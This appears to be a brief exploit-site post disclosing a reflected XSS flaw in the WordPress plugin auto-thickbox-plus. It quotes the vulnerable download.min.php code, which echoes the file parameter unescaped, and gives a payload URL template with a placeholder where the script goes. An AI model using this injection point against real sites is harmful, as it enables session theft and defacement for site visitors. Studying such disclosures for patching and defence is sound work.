WordPress Plugin auto-thickbox-plus XSS

www.shell.exploiterz.com

Bug Type: Reflected XSS !

Vulnerable File: download.min.php



Code ::



//



function force_download($a){if(empty($a)){die('Error: File not specified.');return;}$a=sanitize_url($a);if(!file_exists2($a)){die('Error: File not found. $file='.$a);return;





\\





Payload :

localhost/wp-content/plugins/auto-thickbox-plus/download.min.php?file=[XSS HERE!]